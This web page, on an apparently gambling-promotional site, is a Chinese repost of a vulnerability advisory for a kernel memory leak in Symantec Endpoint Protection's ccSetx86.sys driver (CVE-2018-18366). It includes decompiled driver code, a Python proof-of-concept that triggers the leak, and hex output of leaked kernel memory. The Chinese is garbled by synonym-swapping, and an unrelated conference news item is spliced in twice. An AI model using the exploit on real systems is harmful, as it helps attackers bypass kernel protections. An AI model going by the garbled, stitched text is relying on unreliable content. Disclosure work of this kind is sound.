Symantec终端防护内核内存信息走漏破绽剖析(CVE-2018-18366) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Symantec终端防护内核内存信息走漏破绽剖析(CVE-2018-18366)

申博_新闻事件 申博 104次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

概述

Cisco Talos在赛门铁克终端防护(Symantec Endpoint Protection)小型企业版的ccSetx86.sys内核驱动中发现了一个信息走漏破绽。该破绽位于驱动顺序的掌握音讯处置惩罚顺序中。攻击者能够发送精心制造的要求,使得驱动顺序返回未经初始化的内核内存块,从而能够走漏敏感信息。比方,攻击者能够将该破绽用于绕过特权令牌或内核内存地址等内核平安减缓体式格局。非特权用户能够以用户形式运转顺序,从而触发这一破绽。

依据我们的谐和表露政策,Talos与Symantec进行了协作,从而确保为该破绽供应补钉。

破绽形貌

赛门铁克终端防护(Symantec Endpoint Protection)小型企业版的ccSetx86.sys 0x224844地位存在内核内存信息走漏破绽(CVE-2018-18366)。特制的IRP要求能够会致使驱动顺序返回未初始化的内存,从而致使内核内存走漏。攻击者能够发送IRP要求来触发此破绽。

该内核内存走漏位于IOCTL处置惩罚顺序中,这是用于16.0.0.77版本驱动顺序的“0x224844”驱动代码。攻击者能够经由过程向ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}装备发送歹意的IOCTL要求,从而触发该破绽。装备的默许接见掌握,许可体系上的任何用户向驱动顺序发送IOCTL要求。

测试版本

Symantec.cloud – Endpoint Protection – NIS-22.14.2.13

Symantec Endpoint Protection Small Business Edition(赛门铁克终端防护小型企业版)ccSetx86.sys(Windows 7 x86)

产物网址

https://www.symantec.com/products/endpoint-smb

CVSSv3分数

4.3 – CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-200:信息走漏

破绽概况

Symantec Endpoint Protection小型企业版(SEP SBE)是针对小型企业的庞杂终端防护解决方案。

第三届中国数据平安管理高峰论坛美满闭幕 探析等保2.0对数据平安的请求

第三届中国数据安全治理高峰论坛在公安部网络安全保卫局的指导下,中关村大数据产业联盟、中关村数安大数据安全产业联盟的支持下,4月26日,在北京富力万达嘉华酒店圆满落幕。本次峰会由中国(中关村)网络安全与信息化产业联盟、北京网络信息安全技术创新产业联盟、中国保密协会产业分会共同主办,北京安华金和科技有限公司承办,北京奇安信科技有限公司(360企业安全集团)、国网思极检测技术(北京)有限公司、北京中睿天下信息技术有限公司、北京炼石网络技术有限公司等多家

本申报适用于运用SEP SBE装置中ccSetx86.sys驱动顺序中的破绽,该破绽默许情况下处于运动状况。

我们能够经由过程向ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}装备中发送IOCTL要求来触发这一破绽。在这里,我们展现了装备上的默许接见掌握,许可体系上的任何用户发送IOCTL要求:

\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}
  Type: Device
  RW Everyone
  RW NT AUTHORITY\SYSTEM

我们须要运用ZwOpenFile API,而不是实验经由过程CreateFile向该装备翻开公然的标记链接,以猎取该装备的有用句柄。

内核内存走漏位于0x224844掌握代码的IOCTL处置惩罚顺序中。易受攻击的函数是:

Line 1  signed int __stdcall sub_8DE2FB98(PIRP irp, int (__stdcall ***a2)(char *, _DWORD *, int *))
Line 2  {
Line 3    ULONG_PTR outLen;
Line 4    stackLocation = irp->Tail.Overlay.CurrentStackLocation;
Line 5    if ( !irp->AssociatedIrp.SystemBuffer
Line 6      || stackLocation->Parameters.DeviceIoControl.InputBufferLength < 2
Line 7      || stackLocation->Parameters.DeviceIoControl.OutputBufferLength < 4 )
Line 8    {
Line 9      return 0xC0000023;
Line 10   }
Line 11   if ( stackLocation->Parameters.DeviceIoControl.IoControlCode & 3 )
Line 12   {
Line 13     (...)
Line 14   }
Line 15   else
Line 16   {
Line 17     outUserBuffer = irp->AssociatedIrp.SystemBuffer;
Line 18   }
Line 19   if ( outUserBuffer )
Line 20   {
Line 21     someConstructor(&v14);
Line 22     v13 = copyString2(
Line 23             &v14,
Line 24             (int)irp->AssociatedIrp.SystemBuffer,
Line 25             stackLocation->Parameters.DeviceIoControl.InputBufferLength,
Line 26             (PWCHAR)&dstStringLen);
Line 27     if ( v13 >= 0 )
Line 28     {
Line 29       outLen = stackLocation->Parameters.DeviceIoControl.OutputBufferLength;
Line 30       v5 = (**v11)((char *)&v14, outUserBuffer, (int *)&outLen);// 8de2fb84
Line 31       if ( v5 >= 0 )
Line 32       {
Line 33         irp->IoStatus.Information = outLen;
Line 34       }
Line 35      
Line 36     (...)

值得一提的是,该破绽仅在处置惩罚过程当中运用METHOD_BUFFERED时才会展现。我们在上述代码的第33行看到,若是位于第30行的函数返回一个正值,那末IoStatus.Information字段(透露表现将从OutputBuffer中的内核形式返回若干字节)将被设置为outLen – OutputBufferLen。位于第29行开首的该变量的值直接来自用户,因而,若是未准确设置outLen变量,那末用户则能够完整掌握返回用户形式的字节数。

我们在sub_8DE34328函数中检察outLen变量的处置惩罚体式格局:

Line 1  int __thiscall sub_8DE34328(struct_this_3 *this, char *obj, int outUserBuffer, unsigned int *outLen)
Line 2  {
Line 3  (...)
Line 4
Line 5      outLen_ = *outLen;
Line 6      v12 = v18 + 2;
Line 7      someUnicodeString = v12;
Line 8      if ( outLen_ >= v12 )
Line 9      {
Line 10       if ( _outUserBuffer )
Line 11         returnCode = unicodeCopy((char *)&v17, _outUserBuffer, outLen_, &someUnicodeString);
Line 12       else
Line 13         returnCode = 0xC000000D;
Line 14     }
Line 15     else
Line 16     {
Line 17       *outLen = v12;
Line 18       returnCode = 0xC0000023;
Line 19     }
Line 20 (...)

我们看到,仅当我们没有在第10行通报束缚时,outLen才被设置为即是v12的值,而且函数会返回毛病。在其他情况下,outLen的值基础不会发作转变,因而用户能够完整掌握该值。

因为OutputBuffer还没有在任何地方被要求,而且在此过程当中没有搜检实际上已设置为若干字节,因而,随机内核内存将会走漏到用户空间当中。

破绽应用观点证实

def test_device():
    deviceName = r"\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}"
    ioControl  = 0x224844
    outBuffer  = 0x5566
    str1 = r"\??\c:\TALOS_INSIDE.bin".encode("UTF-16-LE")
    inBuffer =  struct.pack("<I", len(str1)+2)
    inBuffer += str1
 
 
    file('irp.bin','wb').write(inBuffer)
    cmdStr = "DeviceOpen.exe {0} 0x{1:X} {2}".format(deviceName,ioControl,outBuffer)
    print cmdStr
    os.system(cmdStr)
 
//DeviceOpen.exe obtains device handle via ZwOpenFile, read irp.bin file content and pass it as a inputBuffer
 
 
Output:
 
c:\projects\symantec>python test.py
DeviceOpen.exe \Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3} 0x224844 21862
Handle seems to be legit : 0x28
SUCCESS!
0000 : ..\.?.?.\.C.:.\. DE 00 5C 00 3F 00 3F 00 5C 00 43 00 3A 00 5C 00
0010 : P.r.o.g.r.a.m.D. 50 00 72 00 6F 00 67 00 72 00 61 00 6D 00 44 00
0020 : a.t.a.\.S.y.m.a. 61 00 74 00 61 00 5C 00 53 00 79 00 6D 00 61 00
0030 : n.t.e.c...c.l.o. 6E 00 74 00 65 00 63 00 2E 00 63 00 6C 00 6F 00
0040 : u.d.\.{.F.7.A.7. 75 00 64 00 5C 00 7B 00 46 00 37 00 41 00 37 00
0050 : 2.5.B.7.-.8.2.6. 32 00 35 00 42 00 37 00 2D 00 38 00 32 00 36 00
0060 : 7.-.4.9.4.C.-.9. 37 00 2D 00 34 00 39 00 34 00 43 00 2D 00 39 00
0070 : 6.4.7.-.F.4.F.C. 36 00 34 00 37 00 2D 00 46 00 34 00 46 00 43 00
0080 : 1.D.5.3.C.6.A.3. 31 00 44 00 35 00 33 00 43 00 36 00 41 00 33 00
0090 : }.\.C.o.m.m.o.n. 7D 00 5C 00 43 00 6F 00 6D 00 6D 00 6F 00 6E 00
00A0 :  .C.l.i.e.n.t.\. 20 00 43 00 6C 00 69 00 65 00 6E 00 74 00 5C 00
00B0 : c.c.S.e.t.M.g.r. 63 00 63 00 53 00 65 00 74 00 4D 00 67 00 72 00
00C0 : \.s.y.m.S.e.t.t. 5C 00 73 00 79 00 6D 00 53 00 65 00 74 00 74 00
00D0 : i.n.g.s...d.a.t. 69 00 6E 00 67 00 73 00 2E 00 64 00 61 00 74 00
00E0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0100 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0110 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0120 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0130 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0140 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0150 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
(...)
3300 : e...........f... 65 01 00 00 82 01 00 00 03 01 C0 F8 66 01 00 00
3310 : ........g....... 92 01 00 00 03 01 C0 F8 67 01 00 00 9A 01 00 00
3320 : ....h........... 03 01 C0 F8 68 01 00 00 A2 01 00 00 03 01 C0 F8
3330 : i...........j... 69 01 00 00 AA 01 00 00 03 01 C0 F8 6A 01 00 00
3340 : ........k....... B2 01 00 00 03 01 C0 F8 6B 01 00 00 BA 01 00 00
3350 : ....l........... 03 01 C0 F8 6C 01 00 00 C2 01 00 00 03 01 C0 F8
3360 : m...........n... 6D 01 00 00 D2 01 00 00 03 01 C0 F8 6E 01 00 00
3370 : ........o....... DA 01 00 00 03 01 C0 F8 6F 01 00 00 0A 02 00 00
3380 : ....p........... 03 01 C0 F8 70 01 00 00 12 02 00 00 03 01 C0 F8
3390 : q...........r... 71 01 00 00 1A 02 00 00 03 01 C0 F8 72 01 00 00
33A0 : ".......s...*... 22 02 00 00 03 01 C0 F8 73 01 00 00 2A 02 00 00
33B0 : ....t...2....... 03 01 C0 F8 74 01 00 00 32 02 00 00 03 01 C0 F8
33C0 : u...:.......v... 75 01 00 00 3A 02 00 00 03 01 C0 F8 76 01 00 00
33D0 : B.......w...J... 42 02 00 00 03 01 C0 F8 77 01 00 00 4A 02 00 00
33E0 : ....x...R....... 03 01 C0 F8 78 01 00 00 52 02 00 00 03 01 C0 F8
33F0 : y...Z.......z... 79 01 00 00 5A 02 00 00 03 01 C0 F8 7A 01 00 00
3400 : b.......{...j... 62 02 00 00 03 01 C0 F8 7B 01 00 00 6A 02 00 00
3410 : ....|...q....... 03 01 C0 F8 7C 01 00 00 71 02 00 00 03 01 C0 F8
3420 : }...y.......~... 7D 01 00 00 79 02 00 00 03 01 C0 F8 7E 01 00 00
3430 : ........⌂....... A1 02 00 00 03 01 C0 F8 7F 01 00 00 A9 02 00 00
3440 : ................ 03 01 C0 F8 80 01 00 00 B9 02 00 00 03 01 C0 F8
3450 : ................ 81 01 00 00 C1 02 00 00 03 01 C0 F8 82 01 00 00
3460 : ................ C9 02 00 00 03 01 C0 F8 83 01 00 00 CD 02 00 00
3470 : ................ 03 01 C0 F8 84 01 00 00 D0 02 00 00 08 01 80 FF
3480 : ................ 85 01 00 00 D5 02 00 00 03 01 C0 F8 86 01 00 00
3490 : ................ D8 02 00 00 08 01 80 FF 87 01 00 00 E0 02 00 00
34A0 : ................ 08 01 80 FF 88 01 00 00 E8 02 00 00 08 01 80 FF
34B0 : ............\.D. FF FF FF FF F0 02 00 00 08 01 80 FF 5C 00 44 00
34C0 : E.V.I.C.E.\.H.A. 45 00 56 00 49 00 43 00 45 00 5C 00 48 00 41 00
34D0 : R.D.D.I.S.K.V.O. 52 00 44 00 44 00 49 00 53 00 4B 00 56 00 4F 00
34E0 : L.U.M.E.1.\.W.I. 4C 00 55 00 4D 00 45 00 31 00 5C 00 57 00 49 00
34F0 : N.D.O.W.S.\.S.Y. 4E 00 44 00 4F 00 57 00 53 00 5C 00 53 00 59 00
3500 : S.T.E.M.3.2.\.N. 53 00 54 00 45 00 4D 00 33 00 32 00 5C 00 4E 00
3510 : T.D.L.L...D.L.L. 54 00 44 00 4C 00 4C 00 2E 00 44 00 4C 00 4C 00
3520 : ..\.D.E.V.I.C.E. 00 00 5C 00 44 00 45 00 56 00 49 00 43 00 45 00
3530 : \.H.A.R.D.D.I.S. 5C 00 48 00 41 00 52 00 44 00 44 00 49 00 53 00
3540 : K.V.O.L.U.M.E.1. 4B 00 56 00 4F 00 4C 00 55 00 4D 00 45 00 31 00
3550 : \.W.I.N.D.O.W.S. 5C 00

时候节点

· 2018年10月23日  向厂商表露

· 2018年11月2日  厂商确认破绽存在

· 2018年12月4日  在30天后跟进破绽修复希望

· 2019年2月11日  厂商分配了CVE编号

· 2019年4月23日  公然宣布

破绽发现者

Cisco Talos团队的Marcin ‘Icewall’ Noga

检测划定规矩

以下SNORT划定规矩将检测该破绽的应用实验。须要注重的是,能够会在将来某个日期宣布其他划定规矩,而且依据其他破绽信息的增补,以后划定规矩能够会发作变动。有关最新的划定规矩信息,能够参阅Firepower管理中心,或接见Snort.org。

Snort划定规矩:48209、48210。

第三届中国数据平安管理高峰论坛美满闭幕 探析等保2.0对数据平安的请求

第三届中国数据安全治理高峰论坛在公安部网络安全保卫局的指导下,中关村大数据产业联盟、中关村数安大数据安全产业联盟的支持下,4月26日,在北京富力万达嘉华酒店圆满落幕。本次峰会由中国(中关村)网络安全与信息化产业联盟、北京网络信息安全技术创新产业联盟、中国保密协会产业分会共同主办,北京安华金和科技有限公司承办,北京奇安信科技有限公司(360企业安全集团)、国网思极检测技术(北京)有限公司、北京中睿天下信息技术有限公司、北京炼石网络技术有限公司等多家


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Symantec终端防护内核内存信息走漏破绽剖析(CVE-2018-18366)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址